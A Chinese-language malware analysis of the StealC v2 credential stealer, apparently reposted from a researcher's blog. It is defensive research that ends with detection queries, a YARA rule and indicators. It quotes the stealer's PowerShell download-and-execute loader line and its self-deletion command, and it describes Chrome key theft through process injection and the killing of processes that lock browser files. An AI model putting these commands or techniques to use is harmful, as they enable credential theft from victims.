研究
StealC 是著名的用 C++ 编写的窃取程序之一,自 2022 年以来一直活跃。2025 年 4 月,在 StealC v2 版本发布后,开发者宣布仅以 5 美元的价格出售第一版源代码的 3000 份副本。
2025 年 3 月,StealC 开发人员宣布发布 StealC v2。新的更新具有据称是新代码库、基于 Chrome 的浏览器 cookie 和密码(Firefox 除外)的服务器端解密以及加密插件的服务器端暴力破解。根据声称,在构建和服务器之间传输的所有数据都使用基于 RC4 的自定义算法进行加密。要了解有关更改的更多信息,您可以参考 这篇文章.
技术概述
首先,所有字符串仍然像以前的版本一样使用 RC4 和硬编码密钥进行加密。您可以在此处找到用于解密字符串并提取 C2 和内部版本 ID 的脚本,可在此处找到 IDAPython 脚本以协助进行反向作。
与以前的版本一样,窃取程序执行语言检查作为其反 CIS 的一部分。版本 2 的不同之处在于,二进制文件中对 sandbox 用户名的检查消失了。
StealC 利用 Windows 事件对象来控制其执行环境。最初,它进入一个轮询循环,尝试打开一个命名事件。如果此事件存在,则表示另一个实例可能正在运行,它不会立即终止,而是等待大约 4 秒,然后再次检查。一旦确定不存在此类事件,它就会尝试自行创建此命名事件,从而在计算机上建立其存在。如果此事件创建失败,则窃取程序将自行终止。
如果日期未超过 2025 年 11 月 4 日(在我们的示例中),则窃取者将继续执行其主要功能,该功能充当一种具有到期日期的“定时炸弹”。
用户可以在生成版本时选择几个选项——自删除、截取屏幕截图、阻止 HWID 重复项或 IP 重复项,如下所示。
对于自删除,窃取者使用 获取自己的可执行路径,然后利用 cmd.exe 启动命令。这会在尝试强制且悄悄地删除窃取者的可执行文件之前产生 5 秒的延迟,从而允许进程在执行删除命令之前完全运行。GetModuleFileNameA
ShellExecuteEx
/c timeout /t 5 & del /f /q
装载 机
加载程序功能作为窃取程序配置结构中的可配置选项实现。下面显示的函数根据有效负载类型具有三个不同的执行路径:
- 类型 0 负载通过运行标准可执行文件的函数执行,如果执行失败,该函数将尝试执行 EXE 最多 10 次。
ShellExecuteEx
- 类型 1 有效负载通过 PowerShell 脚本进行处理。对于 PowerShell 执行,窃取程序专门使用 32 位版本的 PowerShell () 并运行命令:
C:WindowsSysWOW64WindowsPowerShellv1.0powershell.exe
powershell.exe -nop -c "iex(New-Object Net.WebClient).DownloadString('[URL]')"
-
类型 2 负载以静默方式安装 MSI 软件包。他们使用 msiexec.exe 执行恶意安装程序,并将 /passive 参数应用于静默/最小 UI 安装。如果安装失败,负载将重试执行最多 10 次。
如果在面板中设置了标志,它将使用 “RunAs” 以提升的权限运行有效负载。
C2 通信
从受感染计算机发送的初始请求包含 Base64 编码的 blob;解码后,我们可以看到它包含 Build ID、HWID 和命令 “create”。
发送到 C2 的解码初始命令:
{"build":"main1","hwid":"2F33566D-A85E-A0B9-A2A5-C631CA5DAE29","type":"create"}
内部版本 ID 在内部版本中以明文形式进行硬编码,HWID 是根据系统启动驱动器的卷序列号使用多步骤哈希过程生成的。首先,它检索 Windows 目录以识别驱动器号(通常为 C:),然后使用 GetVolumeInformationA Windows API 获取卷序列号。此数字经过一系列自定义数学转换,包括乘法、减法和按位运算,以生成三个不同的哈希值。然后,这些值用于通过进一步的哈希迭代创建一个 8 字节的数组,每个字节都派生自第三个哈希值。
可以通过以下方式重现 HWID 生成:
import ctypesfrom ctypes import windll, wintypes, byref, create_string_buffer, c_bufferdefgenerate_hwid(): buffer_size = 260 windir = create_string_buffer(buffer_size)if windll.kernel32.GetWindowsDirectoryA(windir, buffer_size) > 0: drive_letter = chr(windir.raw[0])else: drive_letter = 'C' volume_path = f"{drive_letter}:\" volume_serial = wintypes.DWORD(0) file_system_flags = wintypes.DWORD(0)if windll.kernel32.GetVolumeInformationA( ctypes.c_char_p(volume_path.encode()),None, 0, byref(volume_serial),None, byref(file_system_flags),None, 0): volume_serial_value = volume_serial.value first_hash = (0x14A30B * volume_serial_value - 0x69427551) & 0xFFFFFFFF second_hash = (0xA30B * first_hash - 0x7551) & 0xFFFF third_hash = (0x95DBED34 - 0x1E70FD87 * first_hash) & 0xFFFFFFFF bytes_array = bytearray(8)for i inrange(8): third_hash = (0x14A30B * third_hash - 0x69427551) & 0xFFFFFFFF bytes_array[i] = third_hash & 0xFF hwid = "{:08X}-{:04X}-{:04X}-{:02X}{:02X}-{:02X}{:02X}{:02X}{:02X}{:02X}{:02X}".format( first_hash, second_hash, third_hash & 0xFFFF, bytes_array[0], bytes_array[1], bytes_array[2], bytes_array[3], bytes_array[4], bytes_array[5], bytes_array[6], bytes_array[7] )return hwidreturn""if __name__ == "__main__":print(f"Hardware ID: {generate_hwid()}")
以下函数负责解析从 command and control 服务器接收的配置参数。此功能是 StealC作的关键部分,因为它根据指令确定它将采取哪些行动。
该函数查找 “opcode” 参数来验证响应结构,如果验证失败,该函数将中止执行。接下来,该函数将响应与带有参数“opcode”的预定义“success”和“blocked”字符串进行比较,如果响应包含“blocked”,则窃取者会自行终止。如果响应包含“成功”,则它将继续解析从 C2 接收的配置。
来自 C2 的解码 Base64 响应,其中包含“成功”作码时的配置:
当 HWID 或 IP 地址在阻止列表中或在服务器端重复时,将触发“阻止”作码。
有趣的是,窃取者开发人员声称 C2 通信是使用 RC4 算法加密的,但在后端 — RC4 加密逻辑被注释掉,这解释了为什么我们看到简单的 Base64 编码。感谢 @iamaachum 找到了 StealC v2 面板安装程序,这证实了我们的许多发现。
下面的函数在来自 C2 的响应中查找特定参数。C2 服务器将配置作为 JSON 格式的结构化数据发送。然后,StealC 解析每个参数并将值存储在指定的内存位置,然后引用这些存储的值来确定后续步骤。
StealC 配置参数
浏览器对象参数
插件对象参数
对于每个钱包扩展,配置指定唯一的扩展令牌 ID,是从本地存储中提取、从同步存储中提取还是从 IndexedDB 存储中提取。
文件定位参数
CSIDL (常见特殊项目 ID 列表) 值,用于定义受害者系统上的哪些文件夹应作为文件扫描的目标:
-
%LOCALAPPDATA% (value 0) -
%APPDATA% (value 1) -
%DESKTOP% (value 2) -
%USERPROFILE% (value 3) -
%DOCUMENTS% (value 4) -
%PROGRAMFILES% (value 5) -
%PROGRAMFILES_86% (value 6)
将文件发送到 C2 服务器时,类型为 “upload_file”:
{"access_token":"b6de4c8e85bb0ddbc6778a9e5555281e15720a5126c4f8a828ac8b34df7f6b376da04f93","data":"TmV0d29yayBJbmZvOgo<REDACTEd> ","filename":"c3lzdGVtX2luZm8udHh0","type":"upload_file"}
来自 C2 的每个响应都包含动态值,例如 ,这似乎是一种会话标识形式。"8349eb35dff":"8f723bae6622"
下面的函数实现了一个数据分块系统,该系统将大文件分成可管理的部分(每个大约 512KB),使窃取者能够可靠地泄露大型浏览器数据库,而不会压倒网络连接或因异常大的数据传输而触发安全警报。对于每个块,该函数会创建一个结构化的 JSON 有效负载,其中包含文件标识信息(例如,从浏览器文件中提取)、块元数据,包括“part_index”(当前块编号)和“total_parts”(块总数)。
浏览器数据解密
如前所述,窃取程序直接在二进制文件本身中解密 Firefox 密码和 cookie,而不是将加密数据泄露到 C2 服务器进行解密,并且与以前版本的窃取程序不同,它不再从 C2 服务器检索任何依赖项。
它首先通过添加通常安装 Firefox 的目录(如 “C:Program FilesMozilla Firefox”)来修改系统的 PATH 环境变量。通过将这些位置添加到 PATH,窃取者可以使用简单的调用找到并加载 NSS3.dll 库。LoadLibraryA
在找到必要的库后,窃取程序加载 NSS3.dll 库并通过检索关键解密函数的地址,然后继续通过 获取指向几个关键 NSS 函数的函数指针。这些函数包括 NSS_Init、NSS_Shutdown、PK11_GetInternalKeySlot、PK11_FreeSlot、PK11_Authenticate 和 PK11_SDR_Decrypt。GetProcAddress
GetProcAddress
对于 v80 之前的 Chrome 版本(在代码中称为“v10”),窃取者使用简单的解密技术。它访问 Chrome 的“登录数据”SQLite 数据库文件,其中包含可通过“DPAPI”签名识别的加密凭据。窃取者利用 Chrome 的 v80 之前的实现:使用 AES 和静态硬编码密钥对密码进行加密,该密钥在所有 Chrome 安装中保持一致。这允许窃取者直接解密凭据,而无需额外的系统权限或复杂的作。
对于 Chrome v80+ 凭据,窃取者利用 APC(异步过程调用)注入来绕过 Chrome 改进的安全模型。该进程首先使用 with 从调用方收到的路径(Chrome 的可执行路径)创建一个暂停的进程。创建进程后,窃取者使用 在此进程中分配内存,以保护 153,088 字节的可执行内存,然后使用 将自定义嵌入式有效负载写入此分配的内存。此负载包含在合法 Chrome 进程的上下文中与 Windows DPAPI 和 Chrome 的加密机制进行交互所需的代码。注入的自定义有效负载使用 和 与 Windows 加密服务建立 COM 连接,直接与 DPAPI 连接。它以 Chrome 的本地状态文件为目标,提取加密的主密钥,并利用 COM 接口对其进行解密,通过命名管道将结果传回主窃取进程。C2 服务器包含一个 PHP 实现,该实现使用 AES-256-GCM 处理标准加密作,以便在从客户端收到主密钥后解密凭证。CreateProcessA
VirtualAllocEx
WriteProcessMemory
CoCreateInstance
CoSetProxyBlanket
当以活动浏览器进程可能正在使用的浏览器数据库文件为目标时,窃取者首先创建目录更改通知以监控文件系统事件,然后系统地枚举和复制特定的敏感文件,例如“登录数据”、“Cookie”、“Web 数据”和“本地状态”。对于每个数据库文件,如果初始尝试失败,它会尝试复制该文件最多 10 次。复制的文件将临时发送到 。当这些浏览器数据库文件被活动进程锁定时,窃取者会利用 Windows 重启管理器 API(RmStartSession、RmRegisterResources、RmGetList)来识别哪些进程在目标文件上有锁。识别出这些进程后,它会使用 打开这些进程并强制终止它们,从而有效地删除文件上的所有锁。这种方法确保窃取者即使在浏览器处于活动状态时也可以访问浏览器数据库。ReadDirectoryChangesW
C:ProgramData
OpenProcess
TerminateProcess
C2 狩猎
您可以利用 Validin、FOFA 和 Censys 等平台,通过以下查询查找 StealC2 版本 2 基础设施:
- FOFA: fid=”VVO/09fqXkg8zzkjfF7aew==” (Credit to @g0njxa
) - Validin: body_hash=028ad738ff369741fa2f0074e49a0d8704521531 (Credit to @pancak3lullz
) -
Censys: services.http.response.body=”<!DOCTYPE html>n<html>n<head>n <meta charset=”utf-8”>n <title>404 Not Found</title>n <style>n body {n width: 35em;n margin: 0 auto;n font-family: Tahoma, Verdana, Arial, sans-serif;n }n </style>n</head>n<body>n <h1>Not Found</h1>n <p>The requested URL was not found on this server.</p>n <hr>n <address>nginx/1.18.0 (Ubuntu)</address>n</body>n</html>”
检波
您可以在此处访问 Yara 规则。
rule win_mal_StealC_v2 {
meta:
author = "RussianPanda"
description = "Detects StealC v2"
hash = "bc7e489815352f360b6f0c0064e1d305db9150976c4861b19b614be0a5115f97"
date = "4/10/2025"
strings:
$s1 = {48 8d ?? ?? ?? ?? 00 48 8d}
$s2 = {0F B7 C8 81 E9 19 04 00 00 74 14 83 E9 09 74 0F 83 E9 01 74 0A 83 E9 1C 74 05 83 F9 04 75 08}
condition:
uint16(0) == 0x5A4D and #s1 > 500 and all of them and filesize < 900KB
}
感染指标
C2:
45[.]93[.]20[.]6491[.]92[.]46[.]13391[.]211[.]250[.]177198[.]251[.]84[.]10785[.]192[.]49[.]87194[.]55[.]137[.]8147[.]45[.]44[.]116213[.]21[.]237[.]18362[.]113[.]118[.]585[.]253[.]30[.]791[.]220[.]8[.]10745[.]141[.]233[.]86185[.]87[.]48[.]173116[.]202[.]216[.]17062[.]60[.]226[.]11485[.]208[.]119[.]289[.]110[.]116[.]8162[.]60[.]226[.]2077[.]90[.]153[.]241157[.]180[.]8[.]712[.]56[.]166[.]193176[.]65[.]142[.]44176[.]65[.]142[.]47179[.]43[.]180[.]18685[.]192[.]48[.]18883[.]229[.]17[.]6883[.]217[.]208[.]133161[.]97[.]75[.]17891[.]92[.]46[.]177185[.]106[.]176[.]17881[.]19[.]131[.]7785[.]158[.]108[.]13583[.]147[.]216[.]49185[.]170[.]154[.]143147[.]45[.]44[.]173185[.]102[.]115[.]17213[.]21[.]237[.]173104[.]245[.]241[.]70
负载:
841d0ebecc7dc7b7e06433fcd0cbbec911fa127fee34bfc7c34c946f84aee1ef8aefa989626374e451620567517cc8862478a770ec0f2da0a910f3f8b549542211bbbbdfa669520d5cb2f600656be4259e0256e220ba85175f1ffe84de064a00d60f7f3a2b46c6231734618eeddab803c3f29d0bb44b1e90dbbbc9f355a4093171bc74ec4778c88bb7d1f3980093475bfd98d973b09945d51dff588d4da0b6956b638236003f92b54a83abd988b3a9f92bd58c0c7727a637bc0e191597a421ada1b2aecdd1b37e0c7836f5c254398250363ea74013700d9a812c98269752f385f02986c8beb4ae23fd9c1e4d923a208b2afcb69811d52aed3dc85ad60badf472bc7e489815352f360b6f0c0064e1d305db9150976c4861b19b614be0a5115f97
参考
https://x.com/g0njxa/status/1907402495690674224
https://github.com/RussianPanda95/Configuration_extractors/blob/main/stealc_decrypt_standalone.py
https://github.com/RussianPanda95/IDAPython/blob/main/StealC/stealc_idapython.py
https://x.com/iamaachum/status/1910135119215738912
https://x.com/g0njxa/status/1910366345809530929
https://x.com/pancak3lullz
https://github.com/RussianPanda95/Yara-Rules/blob/main/StealC/win_mal_StealC_v2.yar
原文始发于微信公众号(安全狗的自我修养):恶意软件剖析:StealC v2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论